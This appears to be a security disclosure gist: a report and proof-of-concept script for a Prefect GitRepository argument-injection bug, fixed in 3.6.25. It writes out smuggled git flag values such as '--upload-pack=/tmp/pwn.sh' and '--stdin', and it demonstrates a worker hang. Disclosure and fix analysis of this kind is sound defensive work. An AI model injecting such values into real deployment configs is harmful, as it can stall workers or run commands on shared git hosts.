Instantly share code, notes, and snippets.

nedlir / **REPORT.md** Secret

Created 2 weeks ago

Code Revisions 1

poc.py

```python
"""
PoC: Prefect GitRepository argument injection via commit_sha / directories.
Affected: 3.x < 3.6.25 (fix PR #21384).

The vulnerable constructor accepts values that start with '-' and forwards them
to `git` as positional argv, where they are reparsed as flags.

Usage:
    pip install 'prefect==3.6.24'   # vulnerable
    python poc.py

    pip install 'prefect>=3.6.25'   # patched
    python poc.py                   # step 1 raises ValueError
"""

import os
import shutil
import subprocess
import sys
import tempfile
from pathlib import Path

from prefect.runner.storage import GitRepository


MALICIOUS_COMMIT_SHA = "--upload-pack=/tmp/pwn.sh"
MALICIOUS_DIRECTORIES = ["--stdin"]


def step1_constructor() -> GitRepository | None:
    """Does the constructor accept malicious input?"""
    try:
        repo = GitRepository(
            url="https://github.com/example/repo.git",
            commit_sha=MALICIOUS_COMMIT_SHA,
```

```
            directories=MALICIOUS_DIRECTORIES,
        )
    except ValueError as e:
        print(f"[PATCHED] Constructor rejected malicious input: {e}")
        return None
    print("[VULN] Constructor accepted malicious commit_sha and directories.")
    print(f"       repo._commit_sha  = {repo._commit_sha!r}")
    print(f"       repo._directories = {repo._directories!r}")
    return repo


def step2_show_argv(repo: GitRepository) -> None:
    """What argv would actually be handed to git?"""
    cmds = [
        ["git", "rev-parse", repo._commit_sha],
        ["git", "fetch", "origin", repo._commit_sha],
        ["git", "checkout", repo._commit_sha],
        ["git", "sparse-checkout", "set", *repo._directories],
    ]
    print("\n[argv] Commands that would be executed (pre-patch, no '--' separator):")
    for c in cmds:
        print(f"       {c}")


def step3_dos_with_stdin() -> None:
    """Prove `directories=['--stdin']` hangs git sparse-checkout."""
    if shutil.which("git") is None:
        print("\n[skip] git binary not on PATH; skipping DoS demo.")
        return

    work = Path(tempfile.mkdtemp(prefix="prefect-argi-"))
    try:
        subprocess.run(["git", "init", "-q", str(work)], check=True)
        subprocess.run(
            ["git", "-C", str(work), "commit", "--allow-empty", "-q", "-m", "init"],
            check=True,
            env={**os.environ,
                 "GIT_AUTHOR_NAME": "x", "GIT_AUTHOR_EMAIL": "x@x",
                 "GIT_COMMITTER_NAME": "x", "GIT_COMMITTER_EMAIL": "x@x"},
        )
        print("\n[dos] Running: git sparse-checkout set --stdin  (with no stdin)")
        proc = subprocess.Popen(
            ["git", "sparse-checkout", "set", "--stdin"],
            cwd=work,
            stdin=subprocess.DEVNULL,
            stdout=subprocess.DEVNULL,
            stderr=subprocess.DEVNULL,
        )
        try:
```

```
            rc = proc.wait(timeout=3)
            print(f"[dos] exited rc={rc} (not a hang on this git version)")
        except subprocess.TimeoutExpired:
            proc.kill()
            proc.wait()
            print("[dos] Child still running after 3s -> confirmed DoS primitive.")
    finally:
        shutil.rmtree(work, ignore_errors=True)


def main() -> int:
    import prefect
    print(f"prefect version: {prefect.__version__}\n")

    repo = step1_constructor()
    if repo is None:
        return 0
    step2_show_argv(repo)
    step3_dos_with_stdin()
    return 0


if __name__ == "__main__":
    sys.exit(main())
```

REPORT.md

Prefect Git Argument Injection in `GitRepository` Pull Steps

Field	Value
Product	Prefect (PrefectHQ/prefect)
Affected	3.x < 3.6.25
Fixed In	3.6.25
Fix Commit	`6a9d991871` (PR #21384)
CVE	None assigned
CWE	CWE-88 (Argument Injection), CWE-20 (Improper Input Validation)
CVSS 3.1	4.8 Medium -- `AV:N/AC:H/PR:L/UI:N/S:U/C:L/I:L/A:L`

Bug

`GitRepository.__init__` accepts `commit_sha` and `directories` from deployment pull-step configuration and forwards them verbatim to `subprocess` calls against the `git` binary. Neither parameter is validated before it reaches the subprocess arg list.

Pre-fix, the relevant call sites in `src/prefect/runner/storage.py` are:

```
await run_process(["git", "rev-parse", self._commit_sha], cwd=self.destinatio
await run_process(["git", "fetch", "origin", self._commit_sha], cwd=self.dest
await run_process(["git", "checkout", self._commit_sha], cwd=self.destination
await run_process(["git", "sparse-checkout", "set", *self._directories], cwd=
```

`commit_sha` and each entry of `directories` are placed as positional argv after the git subcommand with no `--` separator and no input shape validation. A value that starts with `-` is therefore interpreted as a git option, not as the intended ref or path.

Attack surface

Both parameters are reachable from:

- `prefect.yaml` pull steps: `prefect.deployments.steps.git_clone(commit_sha=..., directories=...)`
- Deployment `pull_steps` set via the API
- Direct use of `prefect.runner.storage.GitRepository(...)` in user code

The values execute on the **worker** that pulls the deployment (not on the server). Any actor who can set or modify pull-step config for a deployment the worker executes can inject git flags.

What the injection actually buys an attacker

1. **DoS (reliable, no preconditions).** A directory entry of `--stdin` causes `git sparse-checkout set --stdin` to block on stdin indefinitely. The worker process stalls on the pull step, starving the work pool.

2. **Refspec-flag injection on fetch (reliable).** `commit_sha = "--upload-pack=cmd"` is parsed by `git fetch origin --upload-pack=cmd`. The `--upload-pack` flag takes effect when the `origin` transport is SSH, causing the SSH server to spawn `cmd`. If the attacker *also* controls `repository` (same config scope), this is just an RCE on their own server -- useless. If the attacker controls only `commit_sha` on a deployment whose `repository` points at a shared SSH-accessible git host (self-hosted GitLab/Gitea/Gogs), it is a pre-auth RCE primitive against that host **subject to the host honoring a client-supplied `--upload-pack` path**, which most hardened installs disable.

3. **Local behavior modification.** Flags like `--force`, `--detach`, `--orphan` on `git checkout`, and `--cone` / `--no-cone` on `sparse-checkout set`, can silently change the state of the worker's working tree. Low impact on its own.

4. **No immediate local RCE** via `commit_sha` or `directories` alone. `git checkout` and `git fetch` do not expose a local code-execution flag the attacker can set here. The patch is defense-in-depth; it is not closing a trivially weaponizable local RCE.

This is why the CVSS is 4.8, not high. The bug is a genuine argument-injection primitive reachable from user input, but the exploitation ceiling is DoS + conditional remote-server RCE, not local worker RCE.

Control boundary

The interesting case is deployment configs edited by a principal **other** than the one who set `repository`. Examples:

- CI/CD system templates `repository` from a trusted source but pipes `commit_sha` from a PR title / issue body / branch name.
- Prefect UI/API allows a user with deployment-edit permission but not repo-edit permission to change `commit_sha` (Prefect's default RBAC does not split these; this matters for custom-role setups).

Where `repository` and `commit_sha` share the same trust boundary, the bug adds no privilege the attacker did not already have (they could just point `repository` at an evil repo).

Proof

See `poc.py`. It:

1. Instantiates `GitRepository(commit_sha="--upload-pack=/tmp/pwn", directories=["--stdin"])` and shows the constructor accepts it.
2. Prints the exact argv list that would be handed to `subprocess` for each git invocation.
3. Actually invokes `git sparse-checkout set --stdin` in a scratch repo and demonstrates the DoS (the child hangs on stdin until killed).
4. On a patched Prefect (>= 3.6.25), re-runs step 1 and shows `ValueError` from the constructor.

Reproduction

```
pip install 'prefect==3.6.24'   # vulnerable
python poc.py
```

Then:

```
pip install 'prefect>=3.6.25'   # patched
python poc.py                   # step 1 now raises ValueError
```

No Prefect server or Docker required; the bug is entirely in the worker-side `GitRepository` class.

Fix (3.6.25)

PR #21384 adds two guards in `GitRepository.__init__`:

```
if commit_sha and not re.match(r"^[0-9a-fA-F]{4,64}$", commit_sha):
    raise ValueError(
        f"Invalid commit SHA: {commit_sha!r}. "
        "Expected a hexadecimal Git commit SHA (4-64 characters). ..."
    )

if directories:
    for d in directories:
        if d.startswith("--"):
            warnings.warn(
                f"Directory {d!r} starts with '--' and will be interpreted as
                UserWarning, stacklevel=2,
            )
```

and adds `--` as an end-of-options marker on the sparse-checkout call:

```
await run_process(
    ["git", "sparse-checkout", "set", "--", *self._directories],
    cwd=self.destination,
)
```

Note the asymmetry: `commit_sha` is hard-rejected (regex), `directories` only gets a warning plus the `--` separator. The warning is soft -- a caller that ignores it still gets entries starting with `--`, but they are now treated as literal paths (not flags) because of the `--` separator.

Timeline

Date	Event
2026-04-02	Fix merged (PR #21384)
2026-04-07	3.6.25 released